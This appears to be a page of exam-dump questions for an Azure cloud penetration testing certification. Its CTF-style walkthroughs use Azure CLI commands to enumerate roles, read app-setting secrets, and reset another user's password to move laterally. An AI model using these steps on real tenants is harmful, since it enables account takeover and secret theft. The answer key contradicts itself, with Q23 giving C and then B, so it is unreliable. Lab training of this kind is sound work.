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| Section | Objectives |
|---|---|
| Topic 1: Real-world Azure Attack Chains (CTF Scenario) | - Multi-step exploitation chain from initial access to privilege escalation - Flag/goal-based task completion in live environment |
| Topic 2: Azure Storage & Data Exposure | - Sensitive data extraction from storage services - Blob storage misconfiguration exploitation |
| Topic 3: Compute & Network Exploitation in Azure | - Network misconfiguration exploitation (NSG / routing) - VM exploitation and lateral movement |
| Topic 4: Azure Identity & Authentication Exploitation | - Token / credential abuse scenarios - Privilege escalation via misconfigured roles |
| Topic 5: Azure Cloud Attack Surface Enumeration | - Azure resource discovery and recon - Identity and access enumeration (Azure AD / Entra ID) |
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NEW QUESTION # 22
Using the managed identity principal ID discovered in the previous task, identify which Azure RBAC role is assigned to it.
Answer: B
Explanation:
Detailed Solution:
Query role assignments for the managed identity principal:
az role assignment list \
--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \
--all \
--output table
Expected output:
Principal Role Scope
------------------------------------ ---------------------- ---------------------------------------------- b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod- apps-eastus The assigned role is:
Key Vault Secrets User
Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.
NEW QUESTION # 23
The compromised service principal has Contributor access to a resource group but no direct Key Vault data- plane role. Can it immediately read Key Vault secret values?
Answer: C
Explanation:
Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \
--vault-name kv-finance-prod \
--name db-password \
--query value \
--output tsv
Expected failure:
Forbidden
Correct answer:
B). No, Contributor does not automatically grant Key Vault secret data-plane read Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.
NEW QUESTION # 24
You've gained access to the Azure environment, now dig deeper. One of the accessible resources contains a hidden flag.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
Look for keys such as:
Flag
secret
password
token
connectionString
clientSecret
The exposed app setting contains:
{
" name " : " Flag " ,
" slotSetting " : false,
" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "
}
Final answer:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
NEW QUESTION # 25
After gaining access to the Azure tenant, enumerate all resource groups available to the compromised user.
One resource group contains the word prod. What is the name of that resource group?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
rg-prod-apps-eastus
Detailed Solution:
List accessible resource groups:
az group list --output table
For a cleaner search:
az group list \
--query " [?contains(name, ' prod ' )].{Name:name,Location:location} " \
--output table
Expected output:
Name Location
-------------------- ----------
rg-prod-apps-eastus eastus
The resource group containing prod is:
rg-prod-apps-eastus
NEW QUESTION # 26
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id lila.nguyen@azuresecops.onmicrosoft.com \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
nguyen@azuresecops.onmicrosoft.com.
NEW QUESTION # 27
......
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